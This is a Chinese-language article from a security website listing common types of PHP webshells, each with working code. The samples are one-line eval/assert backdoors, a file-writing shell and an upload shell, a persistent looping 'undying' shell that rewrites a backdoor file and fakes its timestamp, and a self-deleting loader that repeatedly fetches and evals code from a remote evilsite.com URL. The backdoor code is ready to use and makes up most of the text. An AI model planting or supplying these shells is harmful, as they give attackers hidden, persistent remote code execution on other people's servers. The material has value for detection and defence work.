1. 极安网首页
  2. 网络安全工具

黑客常用PHP大马(WebShell)

一、前言

本篇为PHP常见类型WebShell。

二、简介

1.一句话

首先,最常见的为一句话木马,最基础的形式为:

<?php @eval($_POST['hacker']); ?>
<?php assert($_REQUEST["pass"]);?>

通过 eval/assert 等能够将字符串作为php代码执行的能力,将 $_POST/$_REQUEST/$_GET 中传递的字符串作为PHP代码执行

其中,eval : PHP 4, PHP 5, PHP 7+ 均可用,接受一个参数,将字符串作为 PHP 代码执行

assert: PHP 4, PHP 5, PHP 7.2 以下均可用,一般接受一个参数,php 5.4.8 版本后可以接受两个参数

这种形式只在服务器上留下一行代码,因此称为一句话木马

还在网上看到了最短一句话,使用反引号无回显执行命令

<?=`$_GET[1]`;

2.小马

小马可以理解为通过较少的代码,来实现具体在渗透测试中需要的某些功能,即能完成写入文件、列目录、查看文件、执行一些系统命令等少量功能的 Webshell

如写文件小马:

<?php
$test='<?php $a=$_POST["cmd"];assert($a); ?>';
file_put_contents("Trojan.php", $test);
?>

文件上传马:

<?php
header("content-Type: text/html; charset=utf-8");
?>
<? 
echo
"</br>获取服务器IP地址: ".$_SERVER['HTTP_HOST'].
"</br>获取服务信息: ".apache_get_version();
?>
<form method="POST"></br>
shell路径: <input type="text" name="file" size="60" value="<? echo str_replace('\\','/',__FILE__) ?>">
<br><br>
<textarea name="text" COLS="70" ROWS="18" ></textarea>
<br><br>
<input type="submit" name="submit" value="保存"> 
<form>
<?php
error_reporting(0);
if ($_POST){
	$f=fopen($_POST["file"],"w");
	echo   fwrite($f,$_POST["text"])? '保存成功!' : '保存失败!';
}
?>

UDF提权马等等

小马由于代码量不是特别多,免杀方便,可直接实现某些功能,在渗透中也是能够经常用到的,在网上可以搜集到格式各样的小马

3.大马

PHP大马就是功能较全,支持各种在渗透过程中可能用到的各种功能的大型代码集合,通常具有文件管理、命令执行、端口扫描、数据库管理、反弹shell等等的功能

常见的如adminer、phpspy 等等,这里就不列举和截图了

4.不死马

内存马,通俗讲就是不死马,就是会运行一段永远不退出的程序常驻在PHP进程里,无限执行

网上流传的如:

<?php 
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '2.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';
while (1){
    file_put_contents($file,$code);
    system('touch -m -d "2018-12-01 09:10:12" .2.php');
    usleep(5000);
} 
?>

可以看到,代码通过死循环创建webshell文件

5.无文件木马

所谓无文件木马,这里指的是自删除的木马,在运行一次后会将自身文件删除,但将某些代码运行至进程中

例如:

<?php
unlink($_SERVER['SCRIPT_FILENAME']);
ignore_user_abort(true);
set_time_limit(0);

$remote_file = 'http://www.evilsite.com/eval.txt';
while($code = file_get_contents($remote_file)){
  @eval($code);
  sleep(5);
};
?>

eval.txt中的内容可进行自定义

如上代码,在访问一次后会自删除,但eval.txt中的代码依旧会在后台执行

本文转载:素18,不代表 极安网 立场,转载请注明出处:https://secvery.com/2105.html